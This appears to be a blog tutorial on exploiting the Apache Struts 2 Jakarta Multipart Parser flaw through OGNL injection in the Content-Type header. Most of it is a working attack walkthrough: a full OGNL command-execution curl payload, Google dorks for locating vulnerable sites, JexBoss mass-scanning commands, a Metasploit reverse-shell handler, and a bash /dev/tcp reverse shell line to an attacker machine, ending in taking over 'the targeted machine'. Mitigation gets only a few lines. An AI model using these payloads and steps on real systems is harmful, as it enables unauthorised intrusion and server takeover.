Introduction
In versions of Apache Struts 2 prior to 2.3.32 and 2.5.10.1, there is a flaw in the Jakarta Multipart Parser. This flaw pertains to improper exception handling and generation of error messages during attempts to upload files. As a result, remote attackers can exploit this vulnerability to run arbitrary commands by manipulating the "Content-Type
", "Content-Disposition
", or "Content-Length
" HTTP headers.
Table Of Contents
Anatomy Of The Attack
Apache Struts Vulnerability
Struts are vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid "Content-Type HTTP header". The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
If the "Content-Type" value isn’t valid, that is, it does not match an expected valid type, an exception is thrown that is then used to display an error message to a user. In this case, we can set the "Content-Type" to an OGNL expression such as:
ContentType: ${(#_='multipart/formdata')}...
Why Does the Vuln Occur?
The vulnerability occurs because the Content-Type is not escaped after the error, and is then used by LocalizedTextUtil.findText() function to build the error message. This function will interpret the supplied message, and anything within ${…} will be treated as an Object Graph Navigation Library (OGNL) expression and evaluated as such. The attacker can leverage these conditions to execute OGNL expressions that in turn execute system commands.
OGNL is also an expressive and extensive language in and of itself. It’s a very powerful and reliable tool for the attacker. Many core JAVA functions can be exposed, for example, java.core.ProcessBuilder() allows an external program to be run on the system.
Exploitation is also further facilitated by the ability to receive information back from the server on the status and output of the commands that are executed by the webserver. No additional communication channel is needed, which aids in minimizing detection and bypassing existing firewall rules.
HTTP REQUEST WITH CURL CONTAINING CONTENT-TYPE HEADER WITH OGNL EXPRESSION
curl https://example.com:8080/welcome.action -H "Content-Type:
%{(#_="multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm)))).(#eps=#container.toString()).(#cmds=({'/bin/echo', #eps}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
.(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()))}
com.opensymphony.xwork2.inject.ContainerImpl@d0d2b00
The curl command shown above demonstrates whether the server is vulnerable or not by sending an http request with an embedded OGNL expression in the Content-Type header. The OGNL expression sets default access rights to the members of the OgnlContext JAVA object, which represents the execution context of the expression.
How Can This Vulnerability Be Addressed?
The risks related to this type of attack can be lessened by utilizing web application firewalls like mod_security. This is achievable if rules are configured for valid content types or if OGNL expressions are added to a blacklist. However, the most optimal solution is undeniably updating Struts2.
Google Dork
There is no doubt that there are thousand and one ways to find vulnerable targets for this type of attack. To cut short, we are going to use a non-exhaustive list of Google Dork to demonstrate how it’s easy for a blackhat to build a list of potentially vulnerable websites.
intitle:"Struts problem report" intext:"Struts has detected an Unhandled"
intitle:"Struts Problem Report" intext:"development mode is enabled."
filetype:action
filetype:do
filetype:java
filetype:out
filetype:bat
filetype:seam
filetype:sh
filetype:bson
filetype:el
filetype:pm
inurl:login.action
inurl:login.do
inurl:login.java
inurl:index.action
inurl:index.do
inurl:index.java
Vulnerability Analysis
To detect if a host is vulnerable to the Struts2 exploit, we can use Jexboss, this tool made in Python is definitively doing a great job and can help you to save precious time. The tool and exploits were developed and tested for JBoss Application Server versions v3, v4, v5, and v6. JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735). For more information, you can visit the Github page of the author.
Requirements
- Python >= 2.7.x
- urllib3
- ipaddress
Install Jexboss on Ubuntu/Debian
git clone "https://github.com/joaomatosf/jexboss.git"
cd jexboss
pip install -r requires.txt
python jexboss.py -h
Or
wget "https://github.com/joaomatosf/jexboss/archive/master.zip"
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
Install Jexboss on Windows
If you are using Windows, you can use the Git Bash to run the JexBoss.
- Download and install Python
- Download and install Git for Windows
- After installing, run the Git for Windows and type the following commands
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
How To Use Jexboss
Scan single host using Jexboss
sudo python jexboss.py -host http://target_host:8080
Scan multiple hosts using Jexboss
sudo python jexboss.py -mode -file-scan -file /path/file/urls.txt -out /path/output/results.log --struts2
Create MSF Session
To open a session from our targeted website, we will need to create an exploit multi-handler with Metasploit. This can be done very quickly using the below commands.
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set "YOUR-IP-ADDRESS"
msf exploit(multi/handler) > set "YOUR-LOCAL-PORT"
msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > show options
On the above example, we are using a Linux X86 Shell Reverse TCP payload, of course the type of payload shall be different if we are targeting a Windows machine.
Exploit The Target
We are now going to send our exploit to create a reverse shell using Jexboss and forward the traffic to the MSF session using TCP protocol.
Jexboss Commands
sudo python jexboss.py -host http://example.com/login.action --struts2
If Jexboss can inject his payload, you will need to enter the below command to establish a connection with Metasploit.
Jexboss Console
Replace MACHINE-IP-ADDRESS
and MACHINE-PORT
with your own parameters
Shell> /bin/bash -i > /dev/tcp/MACHINE-IP-ADDRESS/MACHINE-PORT 0>&1 2>&1
Metasploit Console
msf exploit(multi/handler) > exploit
You are done! If the targeted website and/or server is vulnerable to Struts2 exploit, a session will be created in your Metasploit allowing you to take over the targeted machine. For more information about this tutorial and to see a live demonstration of this type of attack, I encourage you to watch the video below.
Conclusion
The security flaw in Apache Struts 2 versions 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 poses a significant risk. Attackers can exploit incorrect exception handling and error-message generation during file-upload attempts to execute arbitrary code remotely. Organizations should promptly update their systems to mitigate this vulnerability and protect against potential attacks.
Stay vigilant and prioritize security measures! If you have any further questions or need additional information, feel free to ask! For more information about this tutorial and to see a live demonstration of this type of attack, I encourage you to watch the video below.